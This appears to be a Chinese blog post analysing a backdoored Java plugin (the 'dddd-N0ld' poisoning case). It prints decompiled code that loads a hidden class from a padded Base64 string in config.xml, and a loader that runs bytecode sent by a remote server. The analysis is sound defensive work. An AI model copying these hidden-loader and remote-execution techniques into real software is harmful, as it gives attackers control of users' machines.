看到朋友圈有人发投毒的文章,自己也下下来分析下,原文链接:https://mp.weixin.qq.com/s/GElRQdtbMez682f3j06bZg
项目首页
jd-gui反编译,看了下shells.plugins.postJira功能没发现大问题,但是可以看到左边有个classs后缀的文件,就显得很可疑.
将postJiraProxy.classs反编译后,内容如下,主要是一些插件相关的功能
再看下项目结构,发现有个config.xml文件,一堆字符串
在XmlConfigLoader类中直接加载调用并进行解密
拿到xml的,会进行调用,其核心逻辑是删除字符串前5和后5的字符。
/* */ private static void init() {
/* */ try {
/* 48 */ XmlConfigLoader xmlConfigLoader = new XmlConfigLoader(ClassLoader.getSystemClassLoader());
/* 49 */ String embeddedImage = getValue(new String[] { "embeddedImage" }).trim();
/* 50 */ Class<?> clazz = xmlConfigLoader.define(
/* 51 */ getValue(new String[] { "features", "featur"
/* 52 */ }, ), Base64.getDecoder().decode(embeddedImage.substring(5, embeddedImage.length() - 5)));
/* */
/* 54 */ Object obj = clazz.getDeclaredConstructor(new Class[0]).newInstance(new Object[0]);
/* 55 */ obj.toString();
/* 56 */ } catch (Exception exception) {}
/* */ }
拿到处理后的字符后,丢到blue team工具箱直接反编译。
对该代码文件进行分析,先定义了个请求的url、aesKey以及cookie等等。
核心接受服务器代码如下,通过handle()方法,解析指令类型(0-5),执行对应操作。
获取到对应指令后,则会调用load方法,加载字节码并实例化类,在这里允许服务器远程执行任意 Java 代码。
/**
* 加载字节码并实例化类
* @param var1 字节码数组
* @return 类实例的字符串表示或异常信息
*/
private String loader(byte[] var1) {
String var2 = "";
MyPlugin var3 = new MyPlugin(ClassLoader.getSystemClassLoader());
try {
Class var4 = var3.define("plugin", var1);
Object var9 = var4.newInstance();
var2 = var9.toString();
} catch (Exception var8) {
StringWriter var5 = new StringWriter();
PrintWriter var6 = new PrintWriter(var5);
var8.printStackTrace(var6);
String var7 = var5.toString();
var2 = var7;
}
var3 = null;
System.gc();
return var2;
}
那么整体其实就是个恶意的后门插件,从而达到控制用户主机的目的。
为了方便起见,直接使用豆包,生成一个流程图,如下所示。
原文始发于微信公众号(事件响应回忆录):dddd-N0ld 投毒-简单分析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论